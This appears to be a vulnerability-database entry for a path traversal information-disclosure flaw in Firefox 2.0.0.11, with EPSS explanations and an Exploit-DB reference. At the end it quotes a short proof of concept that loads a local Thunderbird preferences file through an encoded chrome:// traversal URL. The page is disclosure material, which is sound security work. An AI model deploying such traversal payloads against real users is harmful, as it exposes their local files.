Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 31051

Author : Gerry Eisenhaur
EDB Verified : Yes

source: https://www.securityfocus.com/bid/27406/info Mozilla Firefox is prone to an information-disclosure vulnerability because it fails to restrict access to local JavaScript, images and stylesheets files. Attackers can exploit this issue to gain access to potentially sensitive information that could aid in further attacks. Firefox 2.0.0.11 is vulnerable; other versions may also be affected. NOTE: For an exploit to succeed, a user must have an addon installed that does not store its contents in a '.jar' file. The attacker would have to target a specific addon that uses "flat" packaging. <script>pref = function(x, y){document.write(x + ' -> ' + y + '<br>');};</script> <script src='chrome://downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'></script>
